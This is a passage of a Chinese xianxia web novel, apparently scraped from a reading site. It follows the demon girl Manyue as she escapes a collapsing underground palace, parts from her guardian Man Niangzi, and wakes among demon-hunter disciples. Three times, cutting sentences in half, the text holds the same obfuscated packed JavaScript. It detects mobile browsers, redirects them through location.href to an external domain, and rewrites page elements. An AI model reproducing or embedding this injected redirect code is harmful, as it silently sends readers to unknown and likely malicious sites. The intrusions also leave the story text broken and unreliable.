小灯妖彻底炸了毛,倏地跃上满月肩头,森然的黑眸里满是对陆乙的敌意。 “命魂珠。”陆乙却是慢悠悠重复了这三个字,他垂眸瞧向满月,微弯唇角,“你竟然也知道?” 这句话信息量太大,满月怔愣一瞬,一时之间还没反应过来,就先瞥见陆乙眼中一闪而过的杀意。 但那杀意很快就消散了,转而变为了他万年不变的笑容,人畜无害,十分温柔。 可满月确定自己没有看错。 她下意识往后退,直到后背抵在冰冷的薄冰之上才停住。 她高度紧张地盯着陆乙,后者眼中多余的情绪已经荡然无存,就好像一切都只是个错觉。 陆乙笑吟吟地朝她走近:“怕我?” 小灯妖龇着牙,若不是被满月按着,只怕早就过去咬上对方的脖颈。 气氛陡然剑拔弩张。 遇见这么久,满月还是头一次在陆乙身上感受到了若隐若现的危险气息,但她清楚对方深不可测的实力,不能让小灯妖动手。 “你,你别过来。”满月目光闪躲,强装镇定,“有话好好说。” “你知道九曲地宫,知道万妖图,知道四方镜,还知道命魂珠。”不知是不是满月的话起了作用,陆乙在她一步之遥的地方停下来,他垂眸瞧着她,笑意却不达眼底,“你究竟是什么人?” 陆乙不讲,满月还没有意识到自己不知不觉间竟然透底这么多。 难怪会引来怀疑。 满月眨眨眼,顶着巨大的压迫感,在陆乙的目光下向旁边迈出一步。 和他的距离没那么近,满月才悄悄松了口气。 “这些事……只要是个三危山的妖都知道。”满月仗着陆乙不了解三危山,机智地信口开河,“我们或多或少都有听闻啦。” 陆乙挑了下眉,似笑非笑:“听闻什么?” “就你刚刚说的那些。”满月说话不带脸红,理直气壮极了,“这在三危山不是什么秘密。” 陆乙笑着看她,满月迎视过去,黑白分明的眼中,没有一丝骗人的犹豫,十分坦荡。 陆乙看着她黑曜石般剔透的眼眸,问的却是不相干的问题:“你说会遭反噬,是什么反噬?” 诶? 这是打算放过她了吗? 满月答道:“这我不知,只是听人说会遭反噬罢了,又没亲眼见过。你曾救我,我念你恩情才多番提醒。” 言下之意不要狗咬吕洞宾,不识好人心。 陆乙不动声色:“既然只是听说,那便有可能谣传。” “纵然是谣传,也有可能有几分真意。”满月回得很快,她心如鼓擂,“你还是多活两年罢。” 陆乙若有所思地点了点头,正当满月以为他终于被说服,要放弃这一茬,陆乙却伸手,眼睛眨都不眨一下,毫不犹豫拿走了那珠子。 血红光芒登时大盛。 这么重要的东西,度母阴司不可能不设防就放在此处,可陆乙却拿的轻而易举,仿佛没有任何阻挡。 这转折太过猝不及防,满月都没来得及反应。她霎时挣圆了眼,一脸的不可置信。 “你……”她张了张嘴,话还没出口,声音就被淹没在震天撼地的响静中。 许是命魂珠被夺的缘故,整个地宫地动天摇,无数石砾纷纷砸落下来,眼看着就要坍塌。 满月抱着头躲过了碎石。此时地宫深处也传来一道巨大的咆哮声,当是盘踞在此的度母阴司。 拿到命魂珠,陆乙对去找度母阴司没了之前的执着。他见满月护着头就往里面冲,抓住了她胳膊:“那边是死路。” 满月这时倒坚定起来了。她一把甩开他的手,急切道:“小肥啾还在!” 满月想也不想就迎头钻回地宫深处,头顶的碎石不断砸落下来,这里随时有塌成废墟的风险。 小肥啾缩在角落里奄奄一息,满月扑过去将它抱起。她还来不及松一口气,头顶摇摇欲坠的钟乳石终于裂开,直直正对着她们砸下来。 千钧一发之际,一道金色的屏障在她身前展开,钟乳石刚一触及,就碎为粉末。 满月怔怔看着护在她周身的金色屏障,清楚不会是小灯妖动的手。 陆乙的瞳孔映为浅金色,屏障碎去,才转为原先的沉黑:“不想死就跟我走。” 明明刚才还想杀她,一转眼的工夫怎么又回来救她。 满月大惑不解。奈何这人阴晴不定变化无常,她完全猜不透他的心思。 不过为了活命,如今也只能暂且听他的话。 满月一手抱着小肥啾,一手牵着小灯妖,跟在陆乙身后往地宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995419|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外跑。 乱石纷纷砸落。地宫口近在面前,可此时却有一团巨大黑色妖云自地宫深处席卷而来,眼见就要追上来将他们吞没。 陆乙推了一把拖家带口的满月,金字真言在他身前炸开,拦住了即将蔓延而来的妖云。 天崩地裂,妖云裹挟着威压近至眼前。满月没站稳,被炸出的真言与磅礴的妖力震荡,将好摔出了地宫口。 这一下摔,天昏地暗,五脏六腑都险些快被撞得移了位。 满月被埋在了断壁残垣下,四周浮尘扬起,灰头土脸,呛得她直咳嗽。 跌下地宫前天灰蒙蒙的阴云滚滚,现在外面却雨过天晴,早已拨云见日。 满月挣扎着拨开了挡在她面前的碎石堆,一睁眼便被外面的日头晃到,眼睛刺得发酸。 一双修长白皙的手伸到她的面前。 满月以为还是陆乙,她握住那只手,借力从塌陷的废墟之中站起身来:“多……” 谢字不曾出口,满月就怔住了。 少年逆着光,清隽如画的五官更像是被镀上了一层光晕,映在他平静而温和的眸中,不知为何,就是让人莫名地感到安心。 他甚至都不用自我介绍,满月脑海中就自动浮现出原著里的描写。 【少年身着蓝色衣衫,将及弱冠之年,眉目清秀,分明像一株兰花一般,清幽淡雅,并不喜好争抢出头。】 像兰花一样的少年。 整本书,满月对这个描述印象最为深刻。 当时的她还觉得作者是不是描述得太夸张了,见到真人,方才知道没有比这句更为贴合的描写,让她一看就清楚一定是他。 “程……”满月怔怔注视着他,只觉如同身在梦中般不真切,喃喃自语,“程南楼?” 竟然……是原著男主??? 他怎么会在这里! 满月大脑一片空白,cpu彻底转不动了。 只是他的模样,似乎比原著中描写得更为稚嫩一些。 少年愣了下,也不知她为何会知道自己的名字,不过眼下没有时间给他去询问。 他温声道:“此地不宜久留,姑娘还是快些去安全的地方暂避。” 言罢松开了手,程南楼不再看她,只身往那团浓郁的妖云而去。 满月这才注意到程南楼身后还跟着个和他年岁差不多大的少女,同着蓝衣,眉眼是美的,清丽妍秀,面上却没有任何表情。她淡漠地瞥了眼满月,大约觉得她这个小妖怪没什么威胁,也懒得去管她,跟随程南楼一同进了妖云。 应该也是主角团的一员。 难道是许陈仓? 程南楼的师妹,神剑山庄的大小姐,是个面冷心热的酷姐富婆,关系网遍天下,同时也是个医术鬼才,死人都能医半活,主角团中非常强大的助力。 满月咳嗽两声,外表虽然看上去伤痕累累挺惨烈,其实没受多大内伤。 她发现小肥啾不见了,一时也顾不得去想为什么主角团也会出现在这里,忙折身返回原来的地方徒手刨坑,没刨多久,便见昏过去的小肥啾被琉璃灯映出的结界护得周全。 看来将才的妖力震荡太大,连小灯妖都受了伤,避在琉璃灯盏中养伤,一时半会再出不来。 好在他们两个性命暂且无忧。 满月松了口气,赶忙将小肥啾和琉璃灯都抱在怀中,还不及感受到失而复得的喜悦,袖子里却飘飘然落下一道符咒,那符纸破烂不堪,刚一触地,就化作齑粉消散了。 16. 016 满月愣住。 她这才明白自己为何没有受伤。 将才陆乙推她走,还顺手给她贴了张符,怪不得度母阴司妖力震荡如此之大,她却毫发无伤。 满月心情复杂地看向不远处漆黑浓稠如墨的巨大妖云。 陆乙又一次救了她。 虽然不清楚出于什么原因。 “……欠你的人情下次一定还。” 满月小声嘀咕一句,想着男主都赶到救场,应该不会有什么大危险,就抱着小肥啾和琉璃灯头也不回地往反方向跑。 毕竟她眼下有更重要的事去做。 地宫坍塌,虚空阵也失了效,整个三危山乱成一片。 这是预想之中最差的结果。 满月虽也痛恨度母阴司的为非作歹,可没了三危山,他们这些流离失所的妖怪就是砧板上任人宰割的鱼肉。当今的世道,人与妖不共戴天,妖害人,人亦害妖。也正因为讨伐妖族的声势太大,他们这些无依无靠的小妖怪只有依靠拜大山头才能存活下来。 再想到如今的局面这算是她一手促成的,满月总有种说不上来的感觉。 怪就怪她太轻看陆乙了。 可能就连度母阴司也小看了陆乙,以为他跌入地宫尸骨无存再无生还的可能,所以才没有管他。 谁能想到他不仅毫发无伤杀了四方镜,还真的敢拿走来历不明的命魂珠。 度母阴司能有今日,全靠妖王的权柄维系,失去命魂珠,他实力少说立减一半,打不打得过陆乙和男主都难说。这虽然和原著的发展出入太多,事实就是事实,远比不知何时才能应验的原著要真实得多。 没错,这是一个真实的世界。 她不是看客,不是读者,是活生生的存在,明知很有可能朝不保夕,也还是要尽力想办法活下去。 满月的心态已然发生了她自己都没察觉到的改变。 三危山上早有不少除妖师趁乱混了进来,度母阴司座下四大护法尽数出动,一时打得热火朝天,难舍难分。 满月记挂着蔓娘子,捡了条外人不知的小路往蔓娘子管辖的紫汀小苑去,幸而战火还没波及到此处,一路上没遇到任何人。 临近紫汀小苑,里面却静得出奇。 小灯妖如今在养伤,满月自知修为低微,不敢贸然闯进去,她放慢了脚步,打算去后门看看目前是个什么情况。 刚一到后门,正巧有人推门而出,满月屏住呼吸,就先看到玫红衣裙一角,裙上绣着熟悉的碧绿藤蔓纹。 “蔓嬢嬢!”短短一天之中经历那么多事,再见到最信任的人,满月蓦然眼眶一热,差点飞扑过去。 蔓娘子一点也不意外见到满月,事实上满月刚一接近紫汀小苑,她就已感知到她的气息,出来正是为了迎她。 蔓娘子摸摸满月的头,语气是少见的温柔:“你昨夜一夜未归,没有受伤吧?” 满月摇摇头,她打量着蔓娘子,惊觉她脸色略有些灰白,她平日里那样爱美,先下却陡然苍老了许多,像是妖力枯竭的样子:“蔓嬢嬢你……” “我无事。”蔓娘子猜到她要问什么,“外头闯来好些除妖师,我去助阵,受了点小伤罢了。” 满月张了张嘴,却是如鲠在喉,讲不出一个字。 “你没受伤就好,如今山上乱得很,别到处跑了。”蔓娘子执起她的手,“先随我回紫汀小苑暂避,有阴司大人在,外面那些除妖师成不了气候的。” 说着,蔓娘子就要将她带回苑中。 满月咬咬牙,终于脱口而出:“蔓嬢嬢,你跟我走吧!” 蔓娘子脚步一顿,讶异地回头看向身后的小姑娘:“跟你走?” 蔓娘子一手带大满月,自来再清楚不过她的性格,懒懒散散,得过且过,什么事都不往心里搁,还是头一次见她有这样严肃认真的时候。 满月点点头,目光坚定:“度母阴司一向凶残暴虐,我知道嬢嬢也不愿意过这样的日子,现在不是最好的机会吗?我们趁乱离开这里,另寻他路。” 蔓娘子笑了,只当她开玩笑:“傻孩子,你可知外面又是个什么世道,就算不被别的妖欺负,那些除妖师也是饶不了我们的。你别怕,阴司大人的本领比你想的大,这次也一定没事的。” “我不是怕这个。”满月早在来的路上就想好了,她今天一定要带蔓娘子离开。她们本就是原著里可有可无的炮灰,留着,无论今天会不会就是原著中的注定的结局,终究都是一死,只有离开才是唯一的出路。 满月从袖子里拿出之前陆乙给她的契言符,这一天发生的事着实太多,她只能捡紧要的告给她:“嬢嬢,我认识一个很厉害的人,三危山阵法破除就是他所为。他给了我一道契言符,可以答应我一个要求,我们去找他,一定能够活下去的。” 蔓娘子听得一愣一愣:“你……” “我还有小灯。”满月简单讲了小灯的来历,她亟不可待,“我知如今的世道仇恨妖族,可普天之大,并非只有留在三危山才有活路。得道者多助,失道者寡助,度母阴司丧尽天良,迟早会有墙倒众人推的一天,嬢嬢何必坐以待毙。” 整个三危山,还从未有妖敢如此大胆锐评度母阴司。蔓娘子虽是大妖,不比那些从小接受洗脑的小妖对度母阴司极度尊崇,但听到如此大逆不道的言论,仍旧觉得心惊胆战:“……你这孩子,几时起了这样的念头?” “嬢嬢同我走吧。”满月近乎是哀求。她明白自己在蔓娘子心中的分量,心一横道,“而且破阵那人是我带进来的,甲字班的铁牛和那位画境大人都曾看到我和他在一起,就算度母阴司这次能赢,我留在三危山,也难逃一死。” 果不其然,听到这话,蔓娘子脸色登时大变:“你……” 满月却静静看着蔓娘子,等她做出决定。 蔓娘子只觉分明才隔了一天,她都快不认识眼前的小姑娘了。 这还是她的满月吗? 她踟蹰片刻,最终还是答应:“好,我随你去。” 满月绷着的心弦稍稍一松,她也没想到进展得会这么顺利,原以为还要多费一番口舌。 蔓娘子让满月在这里等她,她则回去简单收拾一些细软,免得路上没有盘缠。 蔓娘子离开,满月挑了个隐蔽的地方等她。天边的妖云滚滚不知何时竟越变越大,几乎占据了大半个天空,先前刚从地宫出来时的明媚艳阳又尽数被遮蔽,黑沉沉一片,分外有压迫感。 满月知道,三危山上或人或妖,都在等待着妖云炸开后的结果。若赢的是度母阴司,山上的除妖师就会找机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995420|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会尽快离去,若赢的是陆乙他们,三危山覆灭或许就在今朝。 满月不愿去想那个结果到底会是什么,两种都不是她想要看到的,她只希望陆乙能活着离开。不过不到万不得已,她并不准备动用契言符去找他,之前的说辞只不过为了让蔓娘子安心,她对陆乙到底是戒备大过信任。 满月的心思很快又飘到接下来的打算上。 她虽然妖脉断绝,再修也修不出个眉目,但误打误撞与小灯妖结契,让她多少有了些从前不曾有过的底气。她这辈子没什么大指望,也不计划再掺和原著那些复杂的事端,只想找个穷乡僻壤,安安静静度过接下来的日子就好。 嬢嬢一向喜水,她们可以往南边去,听说南边的口味偏甜辣,也不知嬢嬢能不能吃得惯那里的饭…… 有一搭没一搭想着,蔓娘子终于回来了,她手里掂着鼓鼓的行囊,递给满月让她背好,才捡人迹罕至的偏僻小路一道往三危山外走。 路上满月是难得有些兴奋,曾经想也不敢想的事竟然真的发生了,她开心得宛如在做梦一般。 只要离开三危山,离开度母阴司,离开主角团,她们一定能够平平安安过上想过的日子。 “嬢嬢还记不记得小时候我不睡不着觉,总爱缠着你讲故事,你不知从哪儿得了一本外面凡人撰写的游记,念给我听。”满月叽叽喳喳畅想着未来,话不觉也多起来,“我那时总是和你讲想去看一看,现在终于能够得偿所愿。” 与她相对,蔓娘子显得心不在焉,她勉强笑着应声,却并没有听到她在讲些什么。 满月倒是不介意。蔓娘子和她不同,她在三危山的时间更久,且不了解原著的事,于她而言是背井离乡到一个全然陌生的地方,自然忐忑。 满月很清楚如果不是为了她,哪怕真的到了性命垂危的关头,蔓娘子也不一定能下决心离开三危山。 此时天边的鏖战正进行到最激烈的地步,惊雷一道接着一道落下。满月听着这声音,手心不觉沁出汗来。 她强迫着自己不准回头,一心只想带蔓娘子赶快逃出这个是非之地。 可是冥冥之中,她总有种不太好的预感。 “满月。” 满月还在絮絮说着她自己也听之无味的话,蔓娘子却像是终于回过神来,喊住了她。 满月一顿,停下来,侧头看身边人:“蔓嬢嬢?” 山头的妖云将天空完全遮蔽,四下陷入了一种诡谲的昏暗之中,只有道道惊雷炸在眼前,方才照见一切。 蔓娘子的脸色不知为何又苍白了一些,伴着越来越快的惊雷声,她看向满月:“我给你的玉珠,你可带在身上?” 满月一愣,乖巧地点了点头。 玉珠是满月自有记忆一来就一直戴在腕上的,她曾询问过玉珠的来历,蔓娘子也讲不出个所以然,只殷切叮嘱她不要离身,这么多年,如同吃饭喝水一般,已然成为习惯。 蔓娘子摸摸满月的头,像是放了心。 又一道惊雷在天际炸开,如墨浓郁的妖云终于得以散开,化作无穷无尽的妖气,仿佛要将整个三危山吞没。 满月瞧着那团逐渐淡去的妖云,心头一紧,握着蔓娘子的手不觉松开了些。 “还是输了……” 她轻声道。 17. 017 看来到底还是度母阴司占了上风。度母阴司虽然失了命魂珠,可盘踞三危山多年,实力确实不容小觑,也不知道那个热衷作死的陆乙能不能逃得出去。 蔓娘子却不意外,她遥遥望了一眼,不知看到什么征兆,几不可闻地蹙了下眉:“快走,只怕不久要封山。” 满月点点头,依言加快了脚程。 胜负已分,趁乱入山的除妖师们也不再恋战,各自掩护着撤离。蔓娘子拈了妖术,暂时遮蔽她们身上的妖气,汇入人群中也不再显得突兀。 这一战虽未根除度母阴司这个祸害,三危山却元气大伤,怕是日后很长一段时日要夹紧尾巴做人,再不敢如从前肆意张狂。 临近北门出口,蔓娘子突然道:“满月,有件事我一直瞒着你,我之前同你说你是我捡回来的,其实不是,你是被你阿娘送到我身边来的。” 蔓娘子语速极快,语调几乎没有什么起伏变化,就像在讲述一件无足轻重的小事。 满月脑子里却是轰的一声,仿若平地惊雷,空白了须臾。 阿娘。 听到这个陌生的称呼,她额角像被针扎,一阵一阵的疼。 满月扶着额头,心下翻起惊涛骇浪。一瞬间,仿佛又数不清的往昔片段涌入她脑海,可当她想要抓住那确切是什么,却又回想不起分毫。 蔓娘子在这时停下了脚步,她瞧着满月,眼中盛满了诸多情绪,有欣慰,有不舍,亦有与她一般的决绝。 “这些话再不告诉你,恐怕日后也没什么机会了。”蔓娘子道,“我与你阿娘是旧友,情分非比寻常,我不知她为何要我来抚养你长大,但她并不是一个没有担当的人,想来是遇到了过不去的坎。这些年我追查她的下落始终无果,她除了你,还留下那颗玉珠。他日有缘,你替我找到她。” 这些往事她一向瞒得好,滴水不漏,就连满月也被蒙在鼓里,一无所知。 满月却只觉先前那种不安的预感快要成了真,她抓住蔓娘子的手,竭力想将她带下山:“我们一起找,嬢嬢,我陪你去找她。” 蔓娘子摇摇头,她回眸望了眼快要席卷而来的妖雾:“你走了,我可以替你遮瞒过,说你死在了那些除妖师手下,尸骨无存。我走了,无人替你我遮掩,天涯海角,度母阴司睚眦必报,定不会放过我们。” 满月心道不好。她从小跟着蔓娘子长大,就知道她会这样想,也会这样做,所以才始终惴惴不安。 “不会的!”满月拖着她,“我有了小灯,他拿我们没有办法的!我还有契言符!嬢嬢,信我一次……” 蔓娘子肃了面容,她反手一推,一股强大的妖力自掌心一路沿袭到心脉,短暂地封住了满月的妖气与心神。 满月还从来没如此痛恨过自己断绝的妖脉,没了小灯,她简直没有一点办法做出反抗。 “你得了机缘,是好事,嬢嬢很欣慰。”蔓娘子笑了笑,最后摸摸她的头,以言入术蛊惑她,“你乖乖下山,去找给你契言符的人,好好……活下去。” 满月想说话,却张不了口,她的四肢百骸都由蔓娘子的言语而动,根本不受她控制。 “我死不了的。”多年的默契,不必开口,蔓娘子都知道她在担心什么,“你走了,我反而才安全。只是阴司大人受了重创,三危山一封,不知何日再解。等三危山再开的那天,嬢嬢一定去找你,好不好?” 满月既摇不了头也点不了头。她被妖术挟制,面容平静无波,只有眼泪不受控制,簌簌落下,像断了线的珍珠。 “走吧。”蔓娘子松开手,满月像被操纵的木偶,讷讷转过身,身影很快消失在山头。 蔓娘子站在原地,一直等再望不见满月的背影,才转身往回走。 妖气之雾终究还是吞没了三危山。 天边的乌云迟迟没再散去,又是轰隆一声,阵法收合,山上之景凭空消失,只剩下孤零零荒草丛生的山野。 “上面封山了!”周围不知是谁在大喊,“还有没有人没出来?” 这群想要趁乱围剿三危山的除妖师们同样没讨到多少好处,不少人挂了彩,受了伤,面色尤为不虞。只有极个别走了好运,已是在夸夸而谈自己夺得几多妖丹。 满月全然不在乎,她像一具行尸走肉,听不到看不到,只知道往前走,永不停歇。 肩膀被匆匆而过的人撞了下,那着蓝衫的小道童正好停住身,嘴甜地询问她:“这位姐姐,三危山上的情况如何了?” 满月没有回答。 小道童摸摸头,转脸正要再问,结果被吓了一跳。眼前的人明明面无表情着一张脸,却哭得很凶,眼泪顺着她清秀的面庞滴滴落下,纵然不知发生了什么,小道童依然能感受到那份无法用言语来形容的哀伤。 小道童抓耳挠腮,不知如何是好:“是,是我撞疼了你吗?对不起,对不起……” 他话未说完,满月只觉封在她心头的妖力终于被冲散,腥甜之味瞬时涌上喉间。 一口鲜血吐出,她昏了过去。 * “真的不关我的事!碰瓷,这绝对是碰瓷!” 玄妙激动地作出了最后的结论。 自他从山上带回来一个昏迷不醒的小妖怪后,程南楼已经听他喋喋不休了快半个时辰。从他前言不搭后语的讲述中,程南楼大致理清了前因后果,也明白他为何如此激动。玄妙性子顽皮,闯祸闯多了,尚在盛京时,就常被其他院师兄师弟找来告状,屡教不改,被宴白师兄惩治之后,也算留下了阴影,生怕再引火上身。 程南楼略无奈地摸了摸小师弟快炸毛的脑袋,安抚道:“无事,别担心。” 玄妙却是心有余悸:“南楼师兄你不知道有多吓人!我明明没怎么撞到她,她忽然口吐鲜血晕了过去,我还以为我是不是无意中练成了什么秘术,威力竟如此惊人……” 他话没说完,房门被推开。走出来的蓝衣少女刚好听到他后面一句,没忍住嗤笑一声:“那你确实想得有点多。” 玄妙鼓起腮帮子,转头怒目而视。 倒是程南楼见她出来,主动问道:“她如何了?” “有我在,她怎么可能有事。”陈仓挑挑眉,一脸理所应当,“况且她不过是经脉暂封住罢了。我猜玄妙和她搭话时,她恰好强行破了封印,所以才吐出了一口心头血。” 听了有理有据的专业解释,玄妙才彻底松了口气,如释重负:“我就说不是我!” 陈仓看向自家小师弟,存了逗他的心思,面上却还是一如既往的没有什么表情:“但你确实要倒霉了。” 玄妙歪了歪头:“为什么?” 陈仓扯扯嘴角,露出一个不像笑容的笑容。她扬了扬指间夹着的东西:“我在她身上发现了宴白师兄的契言符。” 玄妙神色一僵,表情瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995421|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好了。 契言符是比较高阶的符咒,言即成契,但对画符者本人没多大好处。师兄既然给她此符,显然两人关系匪浅。 玄妙眼前一黑,诸般不好的回忆瞬间涌上心头。 他下意识地躲去程南楼身后,面如白纸:“真的不是我害她如此的……师父可以给我作证!” 陈仓拍拍他的头,皮笑肉不笑:“把你的糖人拿出来,我就考虑替你背黑锅。” 玄妙对陆宴白的恐惧大过一切,一时也顾不得划算不划算,他从自己腰间系着的乾坤袋中抓出一把糖纸妥帖包裹的糖人,全部塞到陈仓手里。 陈仓面无表情瞥了眼:“就这些?” 玄妙深谙自家师姐的性格,他将乾坤袋翻了个底朝天,苦着张脸:“真没了。” 陈仓这才满意。她将糖人收起来,略抬了抬下巴:“去找师父吧。” 玄妙如蒙大赦,一刻也不愿在这里多留,头也不回地往行藏道人所在的房间跑去。 玄妙走后,陈仓施施然揭开一张糖纸,将糖人塞进嘴里。 程南楼对这种每天都会上演的闹剧早已司空见惯。他问道:“当真是师兄的契言符?” “我骗他做什么。”陈仓像不要钱似的,将从小师弟那里搜刮来的糖人分给程南楼,“师兄几时回来?” 先前他们去接应陆宴白,虽然没有彻底制服度母阴司,但对方元气大伤,如今封了山,近几年内不会再有余力下山作乱。度母阴司底细不明,就连师父都忌惮三分,这已然是最好的结局。 陆宴白正是奉了师命,着手去处理后续的一些事情。 “应当快回来了。”程南楼望了眼轩窗外,面容寂然,“事情毕竟因师兄而起,于情于理要给那些人一个交代。” 陈仓闻言嗤笑一声:“没有师兄,那些人穷耗半辈也休想踏进三危山一步,如今封山,倒要说师兄打草惊蛇,真是可笑。可见为民除害是假,谋求私利是真。” 程南楼虽也赞同陈仓的话,但他性子较温和,断然不会讲得这么直接,只道:“人各有志。” 陈仓翻了个白眼:“除妖师的名声,迟早要被这些沽名钓誉之辈败坏。” 她话音刚落,楼下年久失修的木阶传来咯吱作响的声音,很是轻微,可在场都是修道之人,五感向来更为敏锐,还是轻而易举捕捉到了。 陈仓偏头,但见蓝衣少年自楼下走来,他身上的血迹已经尽数清理,照旧是一张平平无奇的路人脸,总让人记不清他的长相。与往常不同,他肩膀上趴着一只圆嘟嘟的小黄雀,小黄雀身上灵气萦绕,一看就非不是普通的禽鸟,只是它似乎不怎么开心,垂着小脑袋,翅膀耸拉着,一副不情不愿的模样。 陈仓稀奇:“师兄何时养了灵宠?” 小肥啾是陆宴白在门口捡到的,不知何故与它原本的主人失了散,他就顺手带了回来。 陆宴白没有多加解释的兴致,他见两人守在廊上,反问:“你们在这里干什么?” 程南楼正要回答,陈仓抢先开了口:“玄妙捡了个小妖怪回来。” 言毕,她多加一嘴:“那小妖怪身上,有师兄的契言符。” 陆宴白正在逗鸟的动作一顿,他抬眸,分明和往常别无二致的寂寂黑眸,陈仓愣是感受到了一丝不同寻常的微妙波动。 “哦?”陆宴白收回手,弯眼笑起来,“她在何处?” 18. 018 满月做了一个很长的梦。 梦里她成功说服了蔓娘子,将她带下了山。她们往南方水乡去,一路上见识了各种各样的风景,也品尝了各式各样的美食。后来她们到了一个镇子上,这里的人热情好客,人与妖的对立没有那么尖锐,她们放心地定居下来,终于摆脱了过去那种朝不保夕的生活。 “嬢嬢……”梦里的满月喃喃道。 忽然,她的脸颊不知被什么东西轻轻戳了戳,一场美梦最终如朝露消散。 满月迷迷糊糊地睁开眼,正对上一双黑漆漆的眸,带着点点笑意,一瞬不瞬瞧着她。 满月一怔,慢了半拍一个激灵,才彻底清醒过来。 她倏地起身,回想之前的事,记忆却停留在蔓娘子以妖术惑她下山,之后的事就不大有印象了。 满月打量四周,发现身处在一个干净的卧房,才重又看向陆宴白,有点语无伦次地磕巴:“……怎么,我怎么在这里?” 陆乙挑了下眉,似笑非笑:“我也想问你。” ……想不起来。 满月揉揉额角,只觉得那段记忆仿佛被人凭空抽走了。蔓娘子最善惑心的妖术,当是此故。 陆宴白向她伸出了手。他脸生得普通,手却好看得出奇,修长白皙,骨相极佳,与男主程南楼可以说是不相上下。 “你的契言符。”陆宴白丢给她,“想好要我答应你的事了?” 满月怔怔接过那道叠着的符纸,一时只觉悲从心来。 她当时之所以筹谋算计,不过是想为自己在这世上最爱的两个人谋求一条生路,可是紧要关头,蔓娘子为了护她还是放开了手。 满月恹恹摇了摇头,她想起什么,抬起头瞧向陆乙:“你有没有见到小肥啾?” 她先前一直将小肥啾和小灯藏在袖子里,醒来却不见了踪影。 陆宴白稍稍侧开身,满月这才发现在他身后案几上站着的小肥啾。 地宫塌陷时,小灯架起结界救了小肥啾,它福大命大,因此没受什么伤。 小肥啾见满月醒来早是跃跃欲试,但念在有陆宴白在,才不敢造次,看满月注意到它,才扑棱着翅膀,跌跌撞撞扑进她怀中,不知道的还以为它受了什么天大的委屈。 满月摸着小肥啾毛茸茸的小脑袋,眼眶微微发酸。她想了想,又将手里的契言符递了回去:“先前问你要符,不过是想活命,你救了我两次……我们之前的账就算清了。契言符你拿回去吧。” 陆宴白扫了眼她的手,却没接过。他嘴边噙着抹意义不明的笑:“我给的东西从不拿回来。” 满月:“……” 睡了一觉都差点快忘了这人的中二属性。 罢了。 刚折腾过一番的满月身心俱疲,这种时候也没精力和他周旋,他不要,她便收了起来。经过这些事,她不打算再动用契言符,只当留作纪念。 陆宴白注视着她的一举一动,黑眸微闪了下,轻轻笑道:“你接下来有什么打算?” 满月眨了眨眼,抬眸瞧他,满脸的不解:“什么打算?” “三危山阵法封印了。”陆宴白看着她,“你该不会还不知道吧?” 是啊。 三危山封山了。 满月的睫毛微微颤了下,她垂下眸,长密的睫毛在眼底投下一片阴影,遮住了其中的情绪。 她回不去了。 “……我没有别的打算。”半晌,满月低声道,“三危山是我的家,现在回不去,就等以后再回去。” 不是三危山是她的家。 而是有蔓娘子在的地方才是她的家。 两人相识以来,满月虽处于下风,却从来不曾真正服过软,即便被要挟,还是时时刻刻想着与他斗智斗勇。陆宴白是头一次见她这副丧家之犬的可怜模样,莫名觉得有些碍眼。 陆宴白直起身,不打算再留在这里,走之前他想起此行的目的,停住脚步道:“你是被我师弟救回来的,走之前,你还是去见他一面为好。” 满月愣了愣,不及说什么,陆宴白就离开了。 陆宴白走后,满月从小肥啾那里得知她离开三危山后发生的事,搞清楚前因后果,才知道陆宴白走前说的那句话是什么意思。 毕竟也是连累了人家,满月准备去见一面道个谢再离开。她将小肥啾暂时留在房内,自己推开门出去,却见外面站着个蓝衣姑娘,正趴在廊上的围栏往下看,嘴里还塞着个糖人。 听到开门的声音,蓝衣姑娘回头瞧她一眼,见她面色已无大碍,并不意外,只随手从乾坤袋掏出个糖人给她,语气淡淡问道:“吃不吃?” 满月顺着糖人向上看去,瞧清给她糖那人的脸后,睁圆了眼睛愣在原地。 不对…… 许陈仓怎么也在这里? 蓝衣姑娘见她没接,倒也不恼,她收回来,偏了下头:“你若是要找我师弟,就在前面尽头那间。” 满月机械地道了谢,向前走了几步后,才猛然反应过来。她重新退了原处,再次看向那关注着楼下的蓝衣姑娘,惊魂未定:“你们是除妖师?” 蓝衣姑娘点点头。 “那为何要救我?”满月直视着对方,不放过她任何一个表情,“我可是妖。” 后者听她这样说,才重新抬起头,黑白分明的眼中,没有多少情绪。 “妖又如何?”蓝衣姑娘眉眼间带着些许傲气,一打眼就又消散了,“你身上并无煞气,没害过人,为何不能救?” 要说先前还有些许的怀疑,现在差不多可以确认了。 她就是许陈仓。 